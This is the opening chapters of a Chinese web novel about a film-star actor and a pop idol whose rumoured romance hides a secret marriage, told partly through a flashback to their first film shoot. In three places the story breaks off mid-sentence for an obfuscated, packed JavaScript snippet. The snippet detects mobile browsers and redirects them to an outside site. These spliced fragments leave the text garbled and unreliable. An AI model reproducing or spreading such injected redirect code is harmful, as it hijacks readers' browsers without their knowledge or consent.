《官宣BE后他们领证了》 1. 第1章 六月,一个平平无奇的夜晚,凌晨十二点半爆了三条热搜,引发全民吃瓜。 “颜纯古信洋” “《港色1993》解禁” “戛纳最佳导演 袁严” 潜水在沉寂了快六年的“港色夫夫”超话里的cp粉涩洋洋们,一个个爬出坟头草比自己高的坟墓,安装好已熬成白骨的躯干,奔走相告,激情欢呼:奶奶!您磕的cp终于要首次同框啦! 电影《港色1993》宣布上映日期的官博下面,热闹非凡: 吓死了,还以为是官宣。 上次两个名字一起上热搜的孩子都三岁了。 靠,竟然不是官宣!只是首映会要同框。 我嘞个豆,搞到真的了??? 祝贺袁导。 纯路人,刚在小破站看了剪辑,有cp超话吗?我要入坑了。 指路cp超话——“港色夫夫”。 六年里越来越凉的cp超话,忽然涌进来一大堆新人喊着要吃粮,坚持天天签到的一批老人慌里慌张连忙掏出存粮款待大家。 然而狼多肉少,很快有人说:你们就靠这点六年前的旧糖坚持到现在? 涩洋洋们捏着坟头草掩面而泣:是我们招待不周了,实在是这六年太穷了,大漏勺洋仔那边都扣不出一点新糖,更别说嘴巴上了锁的纯哥,他上次发博还是一年前…… 别来沾边,我们洋仔美美世巡呢。 当年说我们洋仔高攀不上你们影帝,现在呢?一个红遍全球的流行巨星,一个快消失的老人,还配不配得上? 这里是cp超话,要发疯去隔壁OK? 没糖硬磕,呵呵。 初夜纹身洋仔亲自认证的,实锤! 那都是六年前的旧糖了,就算当年是真的又怎样,JO社亲自爆的:爱过,已分。 提到从不爆假料的JO社,涩洋洋们就萎了:别说了!别说了!君子动口不动刀,呜呜呜呜呜呜…… 这边哀嚎遍野,一片惨淡,那边也两句话不对头就吵上了。 顶流的经纪人三字哥抱着手机咆哮:“太难了,要把这俩祖宗凑一起,简直就是要我老命。” “你当年不管好你家那恋爱脑傻羊,现在叫有什么用?”黎芬妮白眼都翻上天了。 “什么叫我们家的恋爱脑傻羊?不是你们家大前辈故意钓,我们能上钩?!” “呵,纯哥睡他需要钓?” 三字哥:“……” 这话没法争,某羊当年被迷的神魂颠倒,无法自拔,非他不可,我就要嫁,倒插门无所谓,自带彩礼带破产也无所谓,他瞪我一眼我就高|潮,他骂我一句我就上天,他不让我亲我就要去死的鬼样子还历历在目。 没办法,贪了个脸丢尽的玩意,三字哥压根没底气和黎芬妮争。 “好好好,不需要钓,那你有本事你把他俩拉同台配合宣传。” “现在是谁不愿意同台?” 电影解禁的消息,两月前内部就确定了,之所以压到现在才公布,一是因为信洋的首次世巡正在进行,二是在等电影节提名的结果。 不管最终导演拿奖还是颜纯二封最佳男主,或者好来哥拿最佳男配,只要有一个拿的,就可以顺势扩大宣传,将奖项效益最大化。 这不,袁导那边刚捧上奖杯,这边上映日期立马敲定,宣发立马跟上 。 “他又不是不愿意,这不是忙嘛。”三字哥一直在跟进信洋的世巡,一周前才回来和电影宣发的公司商讨各种事宜。“他今天就到了,你放心,我保证他明天开会一定不缺席,行吗?” 这边应付好黎芬妮,三字哥掐着点,等信洋一落地就给他打去了电话。 “下机直接来我这,明天等袁导一落地我们一起过去,时间非常紧。” “不行,我要先回工作室一趟,再回家睡觉。”高强度表演导致信洋嗓子状态不佳,加上飞机颠簸了一路,他听起来疲惫不堪。 “来我这睡不一样?” “那哪能一样。”低沉的语调有一瞬间的上扬,透着满心的雀跃期待。可惜三字哥正在纠结别的事,没抓住这个小细节。 “你那儿冰灰冷灶的,一口热乎饭都没有,又吃外卖?” “周婶在。” “行吧。”三字哥语气犹豫。 问是不问呢?当年爱得那么轰轰烈烈,怎么就到老死不相往来的地步!一定是这个臭洋仔当年干了什么混账事,才惹得颜老师不要他了。 唉,可惜。 “你你知道袁导公司在哪吧?”三字哥话题一拐,最终还是没问出来。当年分手后信洋的惨状他不是没见过,何必再戳人伤疤。 “知道。” “行,明天一定准时到。等会儿你洗把脸,收拾精神点再出来,让葵给你抓个发型擦点粉,别再邋里邋遢上热搜了,我丢不起那个脸。” 以前走偶像路线时,信洋还挺爱臭美爱收拾的,自打拍完港色,他审美就直线下降。有一次走机场他老头背心外套了件黑黄格子衫,被嘲上了热搜:这衣品堪比颜影帝当年的屎黄色小脚秋裤配豹纹尖头靴。三字哥打那以后每次都要多嘱咐这么一句。 “知道了,葵没回来,我让她在那边度假休段时间,然后直接回港城,跟最后一站。” 不久后的七夕,信洋首次世巡的最后一站于港城体育中心举行。六年前的盛夏,他曾在那里举办了人生的第一场个人演唱会。 三字哥:“也行,那你一定自己捯饬捯饬,听到没?” “知道了知道了。” 与此同时,黎芬妮也已经第三次嘱咐道:“纯哥,你一定不要记错地址哈,你得来哈。我知道你不想见某些人,但、但那啥……” “来,一定来。”听到黎芬妮那欲言又止的叹息,颜纯给她一剂定心丸:“你放心,工作的事我都会配合的。” “好,那明早见。” 第二日上午,三字哥早早就到了袁严的公司——麦莓文化。不一会儿,影片营销宣传的合作方,其他几位主演也准点到场。 众人落座寒暄,有人用开玩笑的口气问三字哥:“洋仔现在是国际巨星,能抽出时间配合咱们宣传吗?” 三字哥:“必须能,他很看重这片子的,昨天已经赶回来了。” 另一位接着话头一脸八卦道:“我听说当年他和颜纯闹的很不愉快,还能同台吗?” “任总是不是听错了?”门口横插进来一个清朗的声音,是颜纯。他和黎芬妮推门进来,说:“我可没有和他不愉快。” 八卦的任总立马起身和他握手,“是我耳背,哈哈哈哈哈,开玩笑的纯哥。” 众人说笑半天,终于,门口出现了一个高大俊朗的身影。 信洋189的个头,宽肩劲腰,黑超皮衣,悠哉悠哉迈着大长腿,压轴出场。 “路上堵车,不好意思各位。” 三字哥疯狂给他使眼色,让他坐到颜纯身边去。但信洋径直走过来,坐到了他身边,颜纯的斜对面。 “你们都多久没见了?”三字哥压低声音对信洋说,“你不抓紧聊两句套套近乎。” 古信洋酷得要死,“不聊。” “啧,给你牛的。看到了没?”三字哥戳戳他额头憋出来的痘,再暗戳戳指指颜纯脖子,“人大热天穿高领,傻羊,你彻底没机会咯。” 古信洋:“哦。”张嘴一个大哈欠。 “怎么这么没精打采,昨晚没睡好?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124096|164308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 何止没睡好,压根就没睡。 颜纯都没眼看。 狗东西昨天晚上趴他身上闹半宿,要名分,想公开:老公,你知道的,我从小没了妈,爹又很渣,22岁跟了你,从此你就是唯一,可全世界都喜欢你,你想选谁都可以,我又能排上老几。 颜纯 →_→:……老几……先出来…… “还不是时候,再等一等。”他不同意公开,大哭包就梨花带雨哗哗流泪,他哄了两小时才说通,公开的事得再往后拖拖。 结果今天早上出门时,信洋破天荒让他先走,自己后出发,美其名曰两人一前一后到达,才不会引起他人怀疑。 颜纯出门时就奇怪,就算要避人耳目,按古信洋的性格,那不得两人一起到麦莓,然后在车里再腻歪一阵,才放他走。 事出反常必有妖,颜纯都离家一公里了,又返回去了。 一看,果不其然,抽屉里的结婚证没了。 他用脚趾头都能想到古信洋要干嘛。 刚才信洋走进来,他一眼扫过去,就看见了皮衣右边口袋里露出的那红色一角。 这家伙,疯起来真的啥事都能做出来。 古信洋摩挲着口袋里的红本本,一想到自己等会要做什么,就忍不住想笑。 他正嘚瑟,对面飞来一记眼刀,他立马抬头挺胸,作专注样,听任总讲这次的营销计划。 手机上弹出来亲亲老婆的消息,他假装看不到,完全不敢看。 嘿嘿,我小红本本都领了这么多年了,再不晒都旧了,今天必须晒了。 他这几年只要离开颜纯外出工作,就一定会把结婚证揣兜里,然后天天妄想哪天丢在外面被别人捡到,被顺理成章叫“颜纯的老公”。 铁打的本子也经不住他那么磨。 颜纯还在瞪他,他手一抬,挡住了颜纯的视线,气得颜纯直翻白眼。 信洋憋着笑,搁着手指缝偷看,看到颜纯皱眉的可爱样子,就想过去在那气鼓鼓的腮上嘬一口。 此情此景,一瞬间将他拉回了六年前《港色1993》开拍的那天。 那时候,他们也隔着一张桌子的距离,互看不顺眼…… 六年前。 “你越不让拍我越要拍!” 啪!信洋挂了电话,踩着卸下的门板出来,骑上他的机车大黑豹,一脚油门轰出古宅院门,狂飙三十公里,天黑前赶到了剧组。 今天正式开拍前,主创们要一起开个剧组内部小会,他被他疯爹古德强锁在家里四十八小时,迟到了。 信洋迈着长腿疾奔二楼会议室,一步三个阶梯,裤腰上挂的链子玲玲作响。 “sorry!我迟了,袁叔。” 会议桌最左端的男人抬眼扫过来,脸色沉沉,是导演袁严,第十三代导演里的先锋代表人物,国际A类电影节的宠儿。 信洋顶着他的目光踏进门来,和其他演员一一打了招呼。挨到导演身边的另一个主演时,他收回了友好合作的手,只点了个头,然后沉默着坐到了对方对面。 颜纯对他略含敌意的不礼貌行为丝毫不在意。他表情淡淡的,端起印着“早日退休”的茶缸喝了口茶,目光浅浅落在古信洋身上。 这一细看,颜纯就想起了前段时间在网上爆火的那只眉清目秀,有点蠢萌的黑皮羚羊王子。他当时还存了羊王子的照片,小家伙拟人化也就长这样吧。 只不过,眼前这位明显是骚包版—— 青年棕褐色皮夹克罩着湖蓝色小衬衫,打着乖巧绅士的小领带,宽肩阔背一把劲腰,大白牙配卷曲小狼尾,比舞台上那个狂野、性感,跳着十八禁大腿舞的流行偶像还要俊朗吸睛。真是极其嚣张、夺目,且,欠揍的年轻后辈啊。 2. 第2章 信洋感受到他的目光,后背的肌肉绷得更紧,下意识一缩,又忽地挺起胸,小衬衫下饱满的胸肌更显了。 颜纯眼珠一动,转移了视线。 怕对方看不见自己,又怕对方看得太清楚,信洋的这矛盾心理,打知道对手戏演员是颜纯后就存在了。 原因除了颜纯那张冰山脸自带的震慑感令他望而却步外,就剩一个字,虚。他自知他这种花架子菜鸟,在颜纯这种货真价实的影帝面前啥也不是。 前半年培训时,他们数次一起上武戏课,但说过的话总共不超过十句,眼神只要一对上,信洋必定先转头。 表演课上他也有机会和颜纯请教演技,提前对戏走戏,但他都逃避了。 袁严没强求,他抱着能躲一天是一天的想法拖到了现在,但都到正式开拍这一天了,抬头不见低头见,再躲就未免虚得过于明显。于是,信洋壮着胆子抬眼看向颜纯。 眼前是一张遗传了世纪美人骆闻梅所有优点的顶级大浓颜,极具辨识度,冲击力十足。 信洋喉结滑动,想收回眼神,没成功。 脑海深处他都不知道什么时候存下的记忆哗哗涌出来——早年间在成名作权谋电影《赴宴》里,颜纯一人分饰俩角,扮男相他眉眼深邃,高马尾造型英气霸道,只一个五秒不到的吐血战损镜头,帅得班上的女孩集体喊老公。 演女人他一双无辜眼殷殷切切,招人疼惜,一双饱满红唇妩媚多情,蛊人神魂,蛊得信洋前后桌的小直男们怀疑人生。 不过信洋经常刷到“美貌颜纯最不值一提的优点”之类的话题。粉丝们更喜欢颜纯那与高调美貌截然相反的佛系性格,以及拿出去跟别家炫起来倍有面儿的华丽成绩。 自十岁出道,至今二十二年,颜纯各个年龄段都有代表作。他颜值没塌过,口碑没崩过,因此路人盘奇大…… 终于收回了眼神。信洋暗松口气。只看了一眼,他就乱七八糟想了如此多。 真就离谱,每次自己眼神落在颜纯身上,就像被什么妖魔鬼怪施了法吸住了一样,要抽好几次才能抽开。培训的时候是这样,此刻亦是。 认识自己二十二年,第一次知道自己竟如此颜狗,太离谱了! 离谱的还有,怎么会有人混了娱乐圈这么多年,还能有那样干净明亮的眼神? 他又偷感十足地看回去了…… 他印象中,颜纯二十刚出头那会儿,气质还是冷感桀骜挂,电视上播出的采访一个笑脸都没。这些年不知道经历了什么,整个人都变得温和亲切,没那么有距离感了。 凭他这几个月夜以继日的观察,他发现,颜纯只是表面看上去不好打交道,但其实是剧组里最好说话的人,进组后经常请工作人员吃饭,没几天就和所有人打成一片了。 他的助理葵葵和颜纯说了两回话后,就眼冒星星感慨道:纯哥也太温柔太美好啦!被他看着我就想做到更好,好想他一直看着我啊。这种感觉洋仔你能理解吗? 呵,理解不了一点。 什么温柔美好,肯定都是装的。此刻,信洋对颜纯充满了偏见——他的花少发小宋建桥前几年曾狂追颜纯,未果,给他种下了不少刻板印象: 木头美人,性格无趣,社交贫乏,说好听点,是一个人如其名,挺“纯”的人。难听点,就是只有脸有意思。 看多了同事们的翻车事件,信洋已了然,“纯”肯定是表面现象,实际上绝对是个表里不一的千面体。什么冰山美人,温柔美好,一切肯定都是人设,人设越纯,反差越大,私下玩得越花。 信洋心里冷哼一声,看你能装多久。 “专心点,我只交代一遍。”暴躁袁导压着怒火,给他交代开拍前的事宜。 信洋想得没错,颜纯的确表里不一。 这会儿,他看似也在听袁导讲话,但已经默默掏出手机,开始摸鱼。 他看了眼时间,还差两分钟定的闹钟才响起。很好,他抽了张纸巾擦擦手,诚意十足地打造百分百的仪式感,然后正襟危坐,管理好表情。 掐秒熬完两分钟,闹钟响起,他迅速关掉,然后深吸口气,打开了“恋恋读书”APP,打开书架里置顶的一本书,开始刷新。 竟然又没准时更新! 呃啊啊啊啊啊啊啊! 狗作者又迟到啦! 颜纯:哔哔哔哔—— 《霸总很狂,但金丝雀狂上加狂》是一本已连载到五百一十四章的都市言情小说。 经常会有人好奇,这种三百万字的又臭又长你爱上了替身的我我爱着冷漠的他他忘不了重生前的我的狗血小说都是谁在看,就是颜纯这个大可爱在看啦。 《霸总》每天下午五点更新,不过狗作者贼不靠谱,365天里364天都在迟到,剩下的一天在请假,真是够了! 颜纯心里一通鬼哭狼嚎,脸上表情依旧冰山般高贵冷艳。迟到就迟到吧,嚎了三分钟后,他别的都不求了,只求作者今天能更。 又五分钟过去了,刷新还没显示新章节。颜纯看着坐得端端正正,其实人已经躺下好一会了。 他想象自己斜挂在沙发上,抱着一大卷纸涕泗横流,流成大河,淹向《霸总》的作者,作者君将电脑高高举过水面:在码了在码了! 别鸽我呀作者太太!我给你投大火箭还不行嘛!颜纯转手就投了俩大火箭给作者。 再摸去作者微博,一看,原来作者早就更新了,只是网站崩了。 颜纯:“……” 个破网站三天一小崩五天一大崩,真是哔—— 哔哔—— 哔哔哔—— 河里游的人又多了一个网站老板。 …… 终于终于,三点十四分零八秒,一刷新,新章节放出来了!激动的心,颤抖的手,颜纯点进去,开看! 看了两行,他两条春山般的俊眉一皱,发现事情不简单。 剧情还能这么发展?妈呀,妈呀,原来女主也把男主当替身!呵呵呵呵呵,让你小子虐我们女主! 不对不对,男主竟然这么早就暗恋女主了??天哪,刺激了刺激了!他嘴角缓缓笑开,看得太入神,浑然不觉坐在对面的人落在他脸上的眼神都呆了。 信洋仿佛看到那对小小的梨涡里盛着一个春天,他听到了小溪潺潺,鸟鸣声声,他还闻到了花香。 袁导:“说这么多都懂了吗?” 信洋:“香。” 袁导:“……” 信洋吞口水:“啊不是不是——” “我看你也没什么心思,直接上吧,到时候就等着挨训吧,昂。”袁导直接起身走人。 哈?啥?直接拍?我这屁股还没坐稳呢。早就听闻袁导拍戏路子又野又怪,但这也神经了吧!他手里的剧本都还只是三个月前定的那个大纲版本,拍什么啊?拍哪一场啊?信洋好慌,所以—— 一个男人脸上为什么能出现那么明媚可爱的笑容?笑容你反思下自己为什么会出现在这里。 笑容:……? “古少,得抓紧时间化妆了。”副导演语气很是客气,“让袁导再等怕是真要发火。” “化哪个场景的妆?拍的是哪一场?”信洋跟着副导往化妆室走,眼神匆匆掠了颜纯一眼。 后者一点不慌,仍旧姿态闲适地喝着茶刷着手机,颇有点剧本里安耀阳安大佬面慈心狠那意味。 “是这一场。”副导将剧本翻到要拍的那一页,递给信洋。 剧本还是那版大纲本,早就听说袁导拍戏有不用剧本的说法,竟然是真的? 太离谱了吧,没本子能拍电影??? 信洋盯着今天要拍的那场,脑内“啊”成一片。 Daddy醉酒…… 狼崽强吻…… 强…… 吻…… 第一场来这么大?不给一点准备吗?在做梦吧? 信洋脑子炸了,翻飞的爆量信息中,一个念头强势占据了他那装不下二两棉花的脑瓜子—— 呜呜呜,人家的荧幕初吻,以及人!生!初!吻!都要交代了! 心跳瞬间就飙升了,小腿肚瞬间打颤了,脸刷刷刷直接爆红。 靠北啊!这就是真刀实枪开拍的节奏吗?现在跑还来得及吗? 不行,不能跑,跑了就代表认输,他古信洋这次绝不能输,要不然一辈子都在古德强面前抬不起头来。 干!干就完事!本子他自己接的,他堵上所有压的惊天首作,闭着眼干就完事。 信洋一脸视死如归的表情走进了化妆间。 趁化妆的功夫,他闭上眼,脑子里细细回忆剧本。 《港色1993》,标签是:剧情动作 同性 内容用一句话总结:糙养的狼崽惦记上了美人Daddy。 狼崽是Daddy捡的,一起捡的还有俩。 Daddy一视同仁,养出了一只天真无邪大眼猫,一条嫉恶如仇侠女蛇,和一头忠心耿耿小孤狼。 猫贪吃,心在外,常常惹一屁股麻烦让Daddy操心。 蛇嫉恶,总引仇,常常留一堆债让Daddy善后。 狼崽最听话、最乖巧,从不让Daddy多操心一下。 他只会为Daddy揉着烦忧结成块的眉,偷偷盘算着,如何用他那茸茸的狼尾环绕Daddy,将他占为己有。 什么中二剧情哦!国际大导怎能给出这样的本子? 信洋越想越心慌,真心觉得他要靠这部片子达 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124097|164308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到自己的目标——横扫最佳新人奖向古德强证明自己,简直就是扯淡。 但现在除了信任袁导,还有别的选择吗?没了。他半年前就开始跟着武术指导、表演老师为进剧组做准备,把自己的状态调到了袁导要求的水平。 半年时间,他都能出两首单曲了,现在后悔,简直就是赔了夫人又折兵。 信洋烦躁地直叹气,又想起了剧本上那被他特意标出来的八场亲密戏…… 八场……他的戏一共才二十四场…… “古少,可以换装了。”狼崽脏兮兮的战损妆凌娅手到擒来,专门在右眼下塑的陈年刀疤她也利索完成。 “你们咋都这么喊我,怪怪的,直接喊我名。” “还是喊少爷吧。”化妆师凌娅戴着口罩,只露着一双含笑的大眼睛。 她是袁严的御用化妆师,两人的团队合作快10年了。整个剧组都知道,这次戏最大的资方爸爸是古信洋的经纪公司——港城娱乐,古信洋简直就是名副其实的剧组少爷啊。 不过这声少爷也确实揶揄意味十足。 摄影是好莱坞最佳摄影,配乐是国宝级大师,服装是蜚声国际的美学大师,武指是李家班的第十三代正统传人,亲密戏指导是全球最大影视平台WET最成熟的黄金团队。 配角每一个单拎出来都能扛大剧——演猫的漆疾风,演蛇的盛妆,那也是青年演员里的中流砥柱。更何况对手戏演员还是电影号召力、商业价值、国民度综合在一起无人能匹敌的颜纯。 这一众大佬凑在一起,就为了捧这么一个资源咖?包括凌娅在内的许多人,都十分期待无所不能的袁导,率领这真材实料的黄金班底,怎么把一坨屎,雕出花来。 屎也清楚自己几斤几两。信洋是偶像歌手出身,这两年出的歌运气好,传唱度刷爆了短视频,但他演戏的经验,仅限于在一部爆火现偶里本色出演。说实话,他现在连镜头都不会找。但他自认为也确实拼尽了全力去做准备。 袁导要他打戏不用替身,狼崽的设定是个武力值MAX的彪悍硬汉,他就推了所有商务和演出,苦练拳脚,雷打不动每天都要打一套袁导给他定制的信狼拳。 袁导要他镜头里身材达到最完美状态,不是泡健身房泡出来的精致肌肉感,而是从小摸爬滚打练出来的糙野性感,他就增肥增肌,整天顶着大太阳跑步、打拳、练力量。 袁导要他亲密戏霸道强势,他狂看了数十部霸总文学加影视作品,连做梦都在床咚、壁咚,上演掐腰红眼文学。 “你连呼吸都是我的!” “你只能看着我!” “亲我!” …… 当然,这些努力的效果也很明显。当古信洋换上戏服——一件磨损陈旧的老头背心,一条工装裤,吊儿郎当出现时,工作人员们还是抛开“少爷”的滤镜,小小的欢呼了一下。 和信洋关系不错的另一位演员江子翘,直接上手摸捏了一把那垒垒分明的大臂肌肉。 “干嘛。”古信洋拍掉他的手,这些人真是的,强调多少遍了,他最不喜欢肢体接触了。“肌肉不是你想摸,想摸就能摸。” 那做作的死出,逗笑了不少人。 “纯哥已经准备好了,古少,您这边需要清场吗?”执行导演问。 “不用。”他不用我也不用。 信洋暗暗较着劲。年轻就是无知,无知就容易狂妄,一上来就想跟圈内的金字搭尖级别的前辈同个水准,是多少菜鸟都会犯的错。 信洋来到拍摄场地——Daddy的卧室。 Daddy本身是个非常低调内敛的人,卧室的装束全是和他相衬的暗纹木质。昏黄的灯光照出椅背把手温润的光,笼在颜纯脸上,和他怀里娇美慵懒的一只金吉拉——奈儿公主身上。 颜纯看见信洋过来,表情依旧十分冷淡。 信洋无视他那双看不出情绪的眼,先是很随意地走到他们右边,很随意地架起胳膊拨弄刘海,尽管他没有刘海…… 然后又很随意地走到左边,冲着奈儿亮出饱满结实的肱二头肌:“你要和我比比吗?” 奈儿:“……” 凌娅:“……”这是干嘛?早就听说这小子和纯哥关系不好,直接亮肌肉给下马威?怎么,亲嘴前难道还要打一架? 有意思了哈,就喜欢看这种戏外打架,戏里亲嘴的。 凌娅:“……哈哈,古少肌肉练得真不错。” “还行吧。”嘚瑟小羊骄傲地一甩头,“他们都说手感还不错。” 他将亮在奈儿面前的肌肉平移到颜纯眼前,夹起嗓子:“颜老师,你要摸一把感受感受吗?” 眼皮轻掀,颜纯看他一眼,语气淡淡:“不好意思,我刚洗完手。” 3. 第3章 ????? 什么!他!说!了!什!么!!!! “古信洋你撅着勾子在哪干嘛?!”袁导一嗓子吼过来,“还不赶紧到自己位置上做准备!” 前一秒还翘在天上的尾巴,后一秒被打击到直接插进地板。信洋深深看了眼颜纯,拔出尾巴抱起,走到指定位置。 好好好,行行行,您手是玉打的,镶了金,摸一把就掉价。哼!小爷还不稀得让你摸呢。 执行导演:“各部门准备。” 等等等等!直接这么开始吗?都不用讲戏的吗?我没拍过戏别骗我啊!靠靠靠!我应该从哪个位置进?台词啥来着? “122场1镜。” “321,action!” 场记板一落下,颜纯睫毛缓缓抬起,看过来。 冷淡的眼神不在,取而代之的是房间里柔和的光,和盼来惦念之人时隐忍的喜悦,以及看着狼崽时才流露的骄傲和依赖。 灵动情意盈盈脉脉,无意勾引,却色气扑人。 信洋:…… 妈妈,这就是传说中的一秒入戏吗? 这是木头美人?宋建桥这个大骗子又骗人! 忽然有点理解葵葵了呢…… 信洋转移视线,强迫自己入戏。 该我了该我了,我要干嘛来着? 觊觎了多年的人将私下的罕见一面流露,请问狼崽该是何反应?该是啥反应?扑上去直接舔吗?不太好吧…… “卡!”袁导的表情很难形容,他看着信洋,有种打工人看着甲方爸爸的怨念。 没事哒没事哒!你自己选哒!亲手选哒!关键还是免费哒! 一想到信洋是免费的,袁导瞬间就开心了。表情都柔和了。“还没亲上你在那咽什么口水?准备再来,别同手同脚。” 信洋:“……”吞——啊忍住!耳边传来工作人员们的笑声,信洋更慌乱了,他额上狂飙汗。 来个大神救救我吧!为什么实拍和培训的感觉差这么多?不想被嘲笑,我行的,我一定能行!他下意识看向颜纯。 后者明显已出戏,正抱着奈儿公主挪动身体调整坐姿,将翘二郎腿的大佬气势压低了一点,暴露出了人物更多的脆弱。 颜纯穿的是件黑色高龄薄衫,拉满了禁欲的气息。但略显苍白的脸色,却将这禁欲的气息冲破了不少,显得他脆弱破碎,需要一个怀抱。而这个怀抱,必定是霸道狼崽的。 信洋将视线从他身上移开了,太受打击了,太受打击了! 他求助地看向袁严,“袁导,我从这边进好一点,还是这边比较好?” “随便。” 老天啊,这是什么要命的话题作文。 袁导皱眉:“行不行?” 信洋硬着头皮点头。 “122场1镜2次,321,action!” 顺利地从门口走到了椅子边,这次没有同手同脚,很好!非常好!信洋暗松口气。 “卡。” “你看剧本了吗?”袁导本身长得就显凶,面无表情时简直就是一尊凶神罗刹,吓得信洋直哆嗦。 信洋连忙回:“看了看了。我全都背会了,122场,主要人物,信狼和安耀阳,主要情节,信狼刚经历完一场恶战,历尽千辛万苦找到了抛下他的安耀阳,并情绪爆发强势索吻,地点,海岛卧室,主要对话——” “停,所以历经千辛万苦的情绪呢?” “情……情情绪……我还没找到。”信洋get到了自己最大的问题在哪里,他还完全没有入戏,信狼和此刻的古信洋,是完全割裂的。 “要多久才能找到?我让大家都停下等你找到了再拍?” 啊啊啊啊啊啊,救命啊!这大BOSS的压迫感。 信洋是有怨言的,可他不敢说。谁让袁导给他们对戏的时间他都躲着颜纯没出现。他不占理,说出来就是找揍。但他也委屈,袁导又不是不知道他是个新人,演戏经验为0,为什么现场实拍一点戏都不给他讲! 蛮干吧,反正今天才第一天,他总会进步的,干就完了!“我现在就可以。”信洋说。 袁严以为这个二世祖要撂挑子不干了,没想到还挺要强。 “好,准备。” 历经千辛万苦的情绪…… 信洋脚步踏得重了些,攥着眉来到颜纯身边,和他对视。 这个用了拙劣谎言将他抛弃的可恶家伙,这个他夜里肖想无数次的男人,此刻,正用脉脉的笑眼看着他,欣赏着他为自己留下的伤疤,手指掠过他裸露在外的肌肤,停在背心下摆处摩挲。 “破了,怎么不买件新的?” 低沉沙哑的暧昧声线,和刚才清风凌凌的声线完全不同。信洋一瞬间被影帝带到了情景里,他感到耳边的毛孔都张开了,第一次被对手演员带入戏的感觉,竟然这么神奇! “没人给买。”狼崽粗声粗气,呸一声吐了烟蒂,黑黢黢的大爪子一把抓起安耀阳扎针扎得青紫一片的手,“继续跑啊,怎么不跑了?” “跑不过你。”安耀阳反手拖住信狼的大爪子,温热的指尖一下一下点在他手心,把他后怕的情绪都点走了——尽管信洋并没有表现出来这部分情绪。 “呵,你多会跑,从旺连山到阿门亭,又到鸡海岛,还敢串通他俩骗我。” 安耀阳不紧不慢啜了口酒,姿态闲适地靠向椅背,抬眸看着狼崽,笑盈盈缓慢吐字,“怎么能算骗呢?” 颜纯的眼神戏太好了。他问出这句话的时候,狼崽脑子里甚至下意识跟了句,对啊,这怎么能算骗呢。 “我让疯猫告诉你我要出趟远门,让阿奢叮嘱你勿寻,这顶多算传话,怎么能算骗?是不是?”耀爹继续哄孩子,压抑了多年的愤怒狼崽他这几句话是哄不住的,但被他的表演完全拿捏的傻羊,看着他那双温温美丽的眼,脑子都转不动了。 他脱口而出:“是。” “卡。” 信洋:“……” 啊啊啊啊啊啊!爹个球啊!亲娘祖宗啊!是个屁啊是! “准备,再来一条。” 信洋要崩溃了。他知道袁导是个长镜头狂热爱好者,非常非常喜欢用一镜到底炫技,这也就意味着他这个菜鸟一遍过的可能性几乎为0。就不能一个镜头一个镜头过,最后再剪在一起吗?刚才那段也有能用的吧? 信洋是个自信且勇敢的菜鸟,他这么想着,还真的上前问袁导了:“刚才拍的,是不是有能用的?” 袁导什么都没说,直接转过监视器画面,让他看。信洋越看心越凉。 “你为什么不看他眼睛?” 看了啊!最后不是看了吗,然后……然后就被吸住了嘛……脑子就不转了嘛……然后你就喊卡了啊! “我……我不知道要看的。”在争论申冤和瞎编乱造着解释之间,信洋选择了窝窝囊囊瞎编式“自黑”。 袁导:“……”培训时也没看出来脑子有问题的呀! 袁导叹口气,“那现在知道了?” “知道了。” “准备。” 信洋深吸口气调整状态,场记再次拍板,开拍。 接下来就没刚才那么顺畅了。一连卡了将近十次,卡到最后,信洋又恢复到了同手同脚路都不会走的状况。 剧组陷入低气压,工作人员疲累,怨念深重。信洋胆战心惊,但已经没精力再去顾及别人的情绪。 他想,反正要卡,不如把脑海里各种各样的演法都试一遍,总有一种能让大导演满意吧。于是他开始了实验。效果在袁严那儿并不明显,卡还是照样喊,但另外一个人的反应,却惊艳了他。 颜纯根据他的反应,调整了自己的表演 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124098|164308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方式。这方式只是一些极其细微的变化,比如说话的语气,从一个为狼崽感到骄傲的大佬,变成了一个为狼崽感到骄傲的同时,也向自己选择的并肩之人,暗含撒娇的反差萌大佬。这些表面上看并不明显,但信洋实实在在感受到了。 颜纯在托着他演。 这个自己充满偏见的大前辈,在鼓励自己。 好吧好吧,不摸就不摸吧,人都说了刚洗了手,摸完一手汗再去洗耽搁了开拍时间,袁导肯定要发火。都是袁导的问题,和他有什么关系。同为片场小可怜,就原谅他了。 信洋心里忽然轻松了。手脚下的动作也随之自然舒展开。 再次开拍,从不敢看颜纯的眼睛,到壮着胆子直视,他终于一条顺到了第一次到达的部分。 “我让疯猫告诉你我要出趟远门,让阿奢叮嘱你勿寻,这顶多算传话,怎么能算骗?是不是?” “所以你不觉得你躲来这个鬼地方过分?” “不觉得。” “好。” 狼崽俯身压上去,两只大手捧起耀爹苍白的脸,亲—— “喵唔!” 